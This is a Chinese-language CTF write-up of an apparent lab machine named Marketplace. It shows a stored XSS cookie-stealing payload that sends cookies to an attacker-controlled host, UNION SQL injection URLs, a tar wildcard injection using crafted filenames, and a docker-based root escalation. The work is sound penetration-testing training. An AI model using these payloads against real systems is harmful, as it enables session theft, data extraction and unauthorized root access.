靶机ip:10.10.113.205

信息收集

nmap扫描

nmap -min-rate 10000 -A -sV -sC -p- 10.10.113.205

image-20241017154202881

发现有22,80,32768端口开放

80端口

image-20241017154309971

先扫描目录

gobuster dir -u http://10.10.113.205/ -w /usr/share/wordlists/dirb/common.txt

image-20241017154746973

先创建一个普通用户查看一下相关路径,得到以下结果:

  • /admin 需要登录认证才能查看
  • /signup 注册
  • /login 登录
  • /new 创建一个新列表
  • /messages 查看消息
  • /contact/michael 联系列表作者
  • /item/1 查看具体列表的详细信息
  • /report/1 向管理员报告列表

XSS钓鱼越权

测试后发现在创建新列表的时候,Description的值存在存储型xss

<script>alert(1)</script>

image-20241017160325926

image-20241017160344536

可以利用xss得到cookie等关键信息

<script>alert(document.cookie)</script>

image-20241017160607215

image-20241017160512805

发现cookie的格式像是jwt,可以使用在线工具查看一下

image-20241017161211306

想尝试将cookie伪造成admin,但是失败了

我们的商品存在存储型XSS漏洞,那么我们可以在我们的商品页面作为钓鱼页面,举报自己的商品诱导管理员审核,然后得到管理员的Cookie,提取他的Token

  • 首先,建立监听用于获取cookie

python -m http.server

image-20241017162030691

  • 然后构造XSS钓鱼页面,当有人访问的时候获取他的cookie
1
<img src=x onerror=this.src="http://10.14.90.122:8000/?1="+document.cookie>

<img> 用于加载图像。

src=x 设置一个无效的图像源,通常会导致加载失败。

onerror 当图像加载失败时触发的事件。

this.src 在图像加载失败时,将图像的 src 属性设置为一个 URL,即为我们构造的一个新的URL将当前页面的 cookies 作为查询参数添加到该 URL 中

document.cookie 获取当前页面的 cookies

image-20241017162240509

image-20241017162324966

这时我们会收到大量的cookie,现在举报商品

image-20241017162440113

发现有几条不一样的,分析一下

image-20241017162530429

发现是admin的cookie,更换cookie

image-20241017162703243

更换后刷新页面

image-20241017162735330

发现多了个Administrator panel,现在已经成功越权到admin了

image-20241017162814445

点击后获得flag

SQL注入拿shell

image-20241017163010291

随便点击一个用户发现是通过get传参,user是参数进行查询的,判断一下是否有sql注入

image-20241017163137167

可以注入

1
http://10.10.113.205/admin?user=1 order by 4 --+

image-20241017163305552

1
http://10.10.113.205/admin?user=1 order by 5 --+

image-20241017163404953

判断出字段数是4

1
http://10.10.113.205/admin?user=1 and 1=2 union select 1,2,3,4--+

image-20241017163440726

发现回显位置有1和2

1
http://10.10.113.205/admin?user=1 and 1=2 union select database(),2,3,4--+

image-20241017163637823

找到数据库名marketplace

1
http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema='marketplace'--+

image-20241017163712870

1
http://10.10.113.205/admin?user=1 and 1=2 union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema='marketplace' and table_name='messages'--+

image-20241017163743652

1
http://10.10.113.205/admin?user=1 and 1=2 union select concat_ws(',',id,is_read,message_content,user_from,user_to),2,3,4 from marketplace.messages limit 0,1--+

image-20241017163845970

找到了jake用户的ssh密码@b_ENXkGYUCAv3zJ

ssh登录

1
ssh jake@10.10.113.205

image-20241017164142284

登陆成功

image-20241017164201069

在当前目录找到user.txt

提升至root权限

横向移动

经典sudo -l

image-20241017164336681

发现我们可以不使用密码以michael的身份运行/opt/backups/backup.sh,查看一下

1
cat /opt/backups/backup.sh

image-20241017164611144

这是一个压缩备份当前目录下的所有文件的脚本

1
tar cf /opt/backups/backup.tar *

可以用tar进行提权

1
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

/dev/null 特殊的路径,写入该文件的数据都会被丢弃,但脚本中已经定义了路径所以我们不用管

--checkpoint=1 在归档过程中每处理一个文件时,生成一个检查点。这个选项通常用于长时间运行的 tar 操作。

--checkpoint-action=exec=/bin/sh 在每个检查点触发时执行指定的命令。这里指定的命令是 /bin/sh,即启动一个新的 shell。

只要能够让--checkpoint=1--checkpoint-action=exec=sh运行起来就行了,那么我们只用创建两个名为--checkpoint=1--checkpoint-action=exec=sh的文件就行了

1
2
3
4
5
echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
chmod 777 backup.tar
sudo -u michael /opt/backups/backup.sh

image-20241017183604622

需要注意的是要将backup.tar权限设置成能允许其他用户可以访问的权限

现在就移动到michael权限

提权至root

id看下权限先

image-20241017183913322

发现有个docker权限

利用docker提权

1
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

image-20241017184029556

提权成功

image-20241017184104249

/root下找到root.txt